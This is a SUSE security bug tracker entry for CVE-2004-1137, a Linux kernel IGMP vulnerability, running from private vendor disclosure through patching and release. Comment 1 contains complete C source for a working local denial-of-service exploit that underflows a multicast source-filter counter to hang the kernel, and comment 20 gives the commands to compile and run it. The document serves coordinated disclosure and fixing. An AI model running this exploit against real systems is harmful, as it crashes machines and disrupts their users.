Bug 63895 (CVE-2004-1137) - VUL-0: CVE-2004-1137: kernel: bug in IGMP code
Summary: VUL-0: CVE-2004-1137: kernel: bug in IGMP code
Status: RESOLVED FIXED
Alias: CVE-2004-1137
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: All Linux
: P3 - Medium : Normal
Target Milestone: ---
Assignee: Security Team bot
QA Contact: Security Team bot
URL:
Whiteboard: CVE-2004-1137: CVSS v2 Base Score: 10...
Keywords:
Depends on:
Blocks:
 
Reported: 2004-12-03 20:45 UTC by Thomas Biege
Modified: 2021-10-19 13:45 UTC (History)
4 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments
igmp-patch.diff (1.97 KB, patch)
2004-12-06 19:11 UTC, Thomas Biege
Details | Diff
updated patch from Chris Wright (2.93 KB, patch)
2004-12-07 17:20 UTC, Ludwig Nussel
Details | Diff
signedness-compat.patch (1.38 KB, patch)
2004-12-09 17:43 UTC, Marcus Meissner
Details | Diff
correction for updated patch (1.30 KB, patch)
2004-12-13 17:59 UTC, Ludwig Nussel
Details | Diff
igmp-fixes.patch (2.18 KB, patch)
2004-12-13 20:32 UTC, Marcus Meissner
Details | Diff
igmp.c (2.90 KB, text/plain)
2004-12-13 23:56 UTC, Marcus Meissner
Details

Note You need to log in before you can comment on or make changes to this bug.
Description Thomas Biege 2004-12-03 20:45:03 UTC
Hello, 
this one comes from Paul Starzetz and was posted to vendor-sec (private). 
 
From: Paul Starzetz <ihaquer@isec.pl> 
Reply-To: security@isec.pl 
To: vendor-sec <vendor-sec@lst.de> 
Old-Content-Type: TEXT/PLAIN; charset=US-ASCII 
Subject: [vendor-sec] Serious multiple Linux <= 2.4.28 IGMP vulnerabilities 
Errors-To: vendor-sec-admin@lst.de 
Date: Fri, 3 Dec 2004 12:10:12 +0100 (CET) 
 
[-- PGP Ausgabe folgt (aktuelle Zeit: Fr 03 Dez 2004 13:41:05 CET) --] 
gpg: Unterschrift vom Fr 03 Dez 2004 12:10:15 CET, DSA SchlÃŒssel ID 9E70A6EE 
gpg: Unterschrift kann nicht geprÃŒft werden: Ãffentlicher SchlÃŒssel nicht 
gefunden 
 
[-- Ende der PGP-Ausgabe --] 
 
[-- BEGIN PGP SIGNED MESSAGE --] 
 
Hi, 
 
I'm sorry to bother you again... but: 
 
There are multiple serious issues with the igmp.c code in recent kernel 
versions. Here an incomplete list of bugs: 
 
1) ip_mc_source suffers from a serious kernel deadlock & kernel memory 
overwrite problem (see attached code). It is possible to decrement the 
psl->sl_count counter to be 0xffffffff == -1 with the consequence that: 
 
- a repeated call will start a loop counting from 0 to UINT_MAX causing a 
kernel hang for minutes (depending on the machine speed), then the 
whole kernel memory following the kmalloc'ated buffer will be shifted by 4 
bytes (LOL) causing an immediate reboot. 
 
- If properly exploited this will lead to elevated privileges. 
 
Btw. the code there is obviously nonsense: 
 
                rv = !0; 
                for (i=0; i<psl->sl_count; i++) { 
                        rv = memcmp(&psl->sl_addr, &mreqs->imr_multiaddr, 
                                sizeof(__u32)); 
                        if (rv >= 0) 
                                break; 
                } 
                if (!rv)        /* source not found */ 
                        goto done; 
 
If we had the 01.04 today I would say some people have keyboards without 
the '[' and ']' brackets ;-) 
 
 
2) because of the bug 15001) it is possible to read huge portions of kernel 
memory through ip_mc_msfget() 
 
 
3) igmp_marksources() function is called in the context of an IGMP group 
query and suffers from an out of bound access to kernel memory. This is 
remotely exploitable if applications have bound a multicast socket. 
 
I'm not sure but I guess that there is a large number of standard apps 
that use multicast, eg. some Linux routing packages or videoconferencing, 
etc. 
 
You may check for your configuration if you are vulnerable: 
 
/proc/net/igmp 
/proc/net/mcfilter 
 
if both files exist and are non-empty you are vulnerable. 
 
This bug allows in the best case to remotely DoS a Linux machine with just 
a moderate flow of prepared IGMP packets. 
 
In the worst case (the socket buffer allocated for the packet is at the 
end of kernel accessible memory), the Linux machine may be crashed 
remotely. 
 
4) I think there are more bugs and more or less subtle races in that code. 
 
 
And seriously, please save me from the 'I have a patch for X' 'I have a 
patch for Y' mentality, I feel like that code or at least parts of it have 
been done by people _without_ any elementary C and kernel API & principles 
knowledge. It _must_ be completely reaudited. I really wonder, since I 
remember that it was mostly clean in .22 or .23 or so, so who the hell is 
breaking it again and again and why??
Comment 1 Thomas Biege 2004-12-03 20:45:04 UTC
<!-- SBZ_reproduce  -->
/************ SNIP HERE *************/ 
 
/* 
*       Linux igmp.c local DoS 
* 
*/ 
 
#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <syscall.h> 
#include <signal.h> 
#include <time.h> 
#include <sched.h> 
#include <fcntl.h> 
#include <string.h> 
#include <errno.h> 
 
#include <sys/socket.h> 
#include <sys/mman.h> 
#include <sys/utsname.h> 
#include <sys/syscall.h> 
#include <sys/time.h> 
#include <sys/resource.h> 
#include <sys/wait.h> 
#include <sys/sysinfo.h> 
 
#include <netinet/in.h> 
 
#include <linux/types.h> 
 
#include <asm/page.h> 
 
#define str(s) #s 
#define xstr(s) str(s) 
 
 
 
#define MCAST_INCLUDE                   1 
#define IP_MSFILTER                     41 
 
#define IP_UNBLOCK_SOURCE               37 
#define IP_BLOCK_SOURCE                 38 
 
 
struct ip_msfilter 
{ 
    __u32 imsf_multiaddr; 
    __u32 imsf_interface; 
    __u32 imsf_fmode; 
    __u32 imsf_numsrc; 
    __u32 imsf_slist[1]; 
}; 
 
struct ip_mreq_source 
{ 
    __u32 imr_multiaddr; 
    __u32 imr_interface; 
    __u32 imr_sourceaddr; 
}; 
 
 
 
 
void 
fatal (const char *message) 
{ 
    printf ("\n"); 
    if (!errno) 
      { 
          fprintf (stdout, "FATAL: %s\n", message); 
      } 
    else 
      { 
          fprintf (stdout, "FATAL: %s (%s) ", message, 
                   (char *) (strerror (errno))); 
      } 
    printf ("\n"); 
    fflush (stdout); 
    exit (1); 
} 
 
 
int 
main () 
{ 
    int s, r, l; 
    struct ip_mreqn mr; 
    struct ip_msfilter msf; 
    struct ip_mreq_source ms; 
    in_addr_t a1, a2; 
 
    s = socket (AF_INET, SOCK_DGRAM, 0); 
    if (s < 0) 
        fatal ("socket"); 
 
//      first join mcast group 
    memset (&mr, 0, sizeof (mr)); 
    mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); 
    l = sizeof (mr); 
    r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l); 
    if (r < 0) 
        fatal ("setsockopt"); 
 
//      add source filter count=1 
    memset (&ms, 0, sizeof (ms)); 
    ms.imr_multiaddr = inet_addr ("224.0.0.199"); 
    ms.imr_sourceaddr = inet_addr ("4.5.6.7"); 
    l = sizeof (ms); 
    r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l); 
    if (r < 0) 
        fatal ("setsockopt2"); 
 
//      del source filter count = 0 
//      imr_multiaddr & imr_interface must correspond to ADD 
    memset (&ms, 0, sizeof (ms)); 
    ms.imr_multiaddr = inet_addr ("224.0.0.199"); 
    ms.imr_sourceaddr = inet_addr ("4.5.6.7"); 
    l = sizeof (ms); 
    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); 
    if (r < 0) 
        fatal ("setsockopt2"); 
 
//      del again, count = -1 
    memset (&ms, 0, sizeof (ms)); 
    ms.imr_multiaddr = inet_addr ("224.0.0.199"); 
    ms.imr_sourceaddr = inet_addr ("4.5.6.7"); 
    l = sizeof (ms); 
    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); 
    if (r < 0) 
        fatal ("setsockopt3"); 
 
//      b00m 
    memset (&ms, 0, sizeof (ms)); 
    ms.imr_multiaddr = inet_addr ("224.0.0.199"); 
    ms.imr_sourceaddr = inet_addr ("4.5.6.7"); 
    l = sizeof (ms); 
    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); 
    if (r < 0) 
        fatal ("setsockopt4"); 
 
    getchar (); 
 
    return 0; 
} 
 
/* EOF */
Comment 2 Thomas Biege 2004-12-03 20:45:50 UTC
From: Paul Starzetz <ihaquer@isec.pl> 
To: vendor-sec <vendor-sec@lst.de> 
Subject: [vendor-sec] Re: Serious multiple Linux <= 2.4.28 IGMP 
vulnerabilities 
Errors-To: vendor-sec-admin@lst.de 
Date: Fri, 3 Dec 2004 12:52:39 +0100 (CET) 
 
On Fri, 3 Dec 2004, Paul Starzetz wrote: 
 
> Hi, 
> 
 
btw same for 2.6.9 
 
_______________________________________________ 
Vendor Security mailing list 
Vendor Security@lst.de 
+ 
Comment 3 Thomas Biege 2004-12-06 19:09:01 UTC
From: Chris Wright <chrisw@osdl.org> 
To: security@isec.pl 
Cc: vendor-sec <vendor-sec@lst.de> 
Subject: Re: [vendor-sec] Serious multiple Linux <= 2.4.28 IGMP 
vulnerabilities 
User-Agent: Mutt/1.2.5i 
Errors-To: vendor-sec-admin@lst.de 
Date: Sat, 4 Dec 2004 01:54:42 -0800 
 
* Paul Starzetz (ihaquer@isec.pl) wrote: 
> -----BEGIN PGP SIGNED MESSAGE----- 
> Hash: SHA1 
> 
> Hi, 
> 
> I'm sorry to bother you again... but: 
 
No bother, your efforts are very much appreciated. 
 
> There are multiple serious issues with the igmp.c code in recent kernel 
> versions. Here an incomplete list of bugs: 
> 
> 1) ip_mc_source suffers from a serious kernel deadlock & kernel memory 
> overwrite problem (see attached code). It is possible to decrement the 
> psl->sl_count counter to be 0xffffffff == -1 with the consequence that: 
> 
> - - a repeated call will start a loop counting from 0 to UINT_MAX causing a 
> kernel hang for minutes (depending on the machine speed), then the 
> whole kernel memory following the kmalloc'ated buffer will be shifted by 4 
> bytes (LOL) causing an immediate reboot. 
 
Heh, yes, this is a nice one. 
 
> - - If properly exploited this will lead to elevated privileges. 
> 
> Btw. the code there is obviously nonsense: 
> 
>               rv = !0; 
>               for (i=0; i<psl->sl_count; i++) { 
>                       rv = memcmp(&psl->sl_addr, &mreqs->imr_multiaddr, 
>                               sizeof(__u32)); 
>                       if (rv >= 0) 
>                               break; 
>               } 
>               if (!rv)        /* source not found */ 
>                       goto done; 
> 
> If we had the 01.04 today I would say some people have keyboards without 
> the '[' and ']' brackets ;-) 
 
Nonsense indeed.  Same code was copied to ipv6 as well, despite it being 
seriously mixed up. 
 
> 2) because of the bug 15001) it is possible to read huge portions of kernel 
> memory through ip_mc_msfget() 
> 
> 
> 3) igmp_marksources() function is called in the context of an IGMP group 
> query and suffers from an out of bound access to kernel memory. This is 
> remotely exploitable if applications have bound a multicast socket. 
 
Didn't look at this one yet. 
 
> And seriously, please save me from the 'I have a patch for X' 'I have a 
> patch for Y' mentality, I feel like that code or at least parts of it have 
> been done by people _without_ any elementary C and kernel API & principles 
> knowledge. It _must_ be completely reaudited. I really wonder, since I 
> remember that it was mostly clean in .22 or .23 or so, so who the hell is 
> breaking it again and again and why?? 
 
I suspect it's new features for v3, etc.  I agree, the code needs some 
thorough auditing.  Since 2.6.10 is coming out soon it'd be quite nice 
to get minimal fixes in for known problems before 2.6.10.  In that vein, 
here's enough to stop Paul's attached exploit (and should keep sl_count in 
proper order to stop bug 15002).  This is for both ipv4 and ipv6.  It actually 
tests the whole source list not just the first element, and it checks 
it against the source addr, not the mcast group.  In the delete case, 
it makes sure to delete when it finds a match, rather than vice-versa ;-) 
 
What's a good date? 
 
thanks, 
-chris 
 
Comment 4 Thomas Biege 2004-12-06 19:11:05 UTC
Created attachment 26775 [details]
igmp-patch.diff
Comment 5 Marcus Meissner 2004-12-06 22:13:56 UTC
Olaf, can you please review the patch? 
Comment 6 Olaf Kirch 2004-12-06 22:19:24 UTC
Will do. 
 
As always, please assign a bug to me if you want my feedback. I may not 
see it if I'm just cc'ed. 
Comment 7 Hubert Mantel 2004-12-06 22:50:56 UTC
The patch applies fine to our 2.6 based trees and to our 2.4.21 based SLES8
tree. However for 2.4.20 and 2.4.19 (SL 8.1 and SLEC) things look quite
different. I urgently need the fix for those trees as well, else the update will
be delayed once again.
Comment 8 Marcus Meissner 2004-12-06 23:25:53 UTC
igmp_marksources appears not to be fixed yet with above patch. 
 
 
Comment 9 Ludwig Nussel 2004-12-07 17:20:03 UTC
Created attachment 26806 [details]
updated patch from Chris Wright

suggested CRD 14.12.
Comment 10 Olaf Kirch 2004-12-08 21:39:15 UTC
The patch is obviously correct, and fixes the problems described by 
Paul (it also fixes the logic of the "source not found" case which was 
broken - IGMP may not have worked very well without this fix :) 
 
Two things 
 
- we also need to check the MLD code in IPv6 which was also 
  written by David Stevens and thus has a fair chance of having the same 
  set of problems. 
 
- we also have to check the SLES8 kernel because we backported the IGMPv3 
  code to it 
Comment 11 Marcus Meissner 2004-12-08 22:21:33 UTC
Hubert already ported the SLES 8 changes. 
 
where is the mld code? 
Comment 12 Marcus Meissner 2004-12-08 22:23:02 UTC
see last comment 
Comment 13 Marcus Meissner 2004-12-09 17:42:04 UTC
is now in mainline: 
 
http://linux.bkbits.net:8080/linux-2.6/cset%401.2158?nav=index.html|
ChangeSet@-1d 
 
Comment 14 Marcus Meissner 2004-12-09 17:43:44 UTC
Created attachment 26889 [details]
signedness-compat.patch

additional patch to net/compat.c layer
Comment 15 Olaf Kirch 2004-12-09 18:18:54 UTC
The MLD code is in net/ipv6/mcast.c, but looking at Chris Wright's updated 
patch, I can see that he already fixed those locations as well. 
Comment 16 Marcus Meissner 2004-12-09 22:26:56 UTC
comment 13 and 14 are off, they belong somewhere else. 
Comment 17 Ludwig Nussel 2004-12-13 17:57:20 UTC
CAN-2004-1137 
Comment 18 Ludwig Nussel 2004-12-13 17:59:36 UTC
Created attachment 26996 [details]
correction for updated patch

Chris Wright made another correction to his patch. This is what interdiff
shows.
Comment 19 Marcus Meissner 2004-12-13 20:32:04 UTC
Created attachment 27005 [details]
igmp-fixes.patch

full new patch
Comment 20 Marcus Meissner 2004-12-13 23:56:19 UTC
Created attachment 27011 [details]
igmp.c

compiling exploit.

	gcc -o igmp igmp.c
	./igmp -> machine hangs
Comment 21 Carl-Daniel Hailfinger 2004-12-15 03:15:53 UTC
Paul Starzetz has released his advisory.
Comment 22 Marcus Meissner 2004-12-15 03:20:51 UTC
well, yes. 
 
kernels are in QA... 
Comment 23 Marcus Meissner 2004-12-22 04:40:23 UTC
updates and advisory released...


however, we still need to merge the updated patch.
Comment 24 Marcus Meissner 2005-01-24 20:24:14 UTC
all branches now have the correct fix released. 
Comment 25 Thomas Biege 2009-10-13 20:02:13 UTC
CVE-2004-1137: CVSS v2 Base Score: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)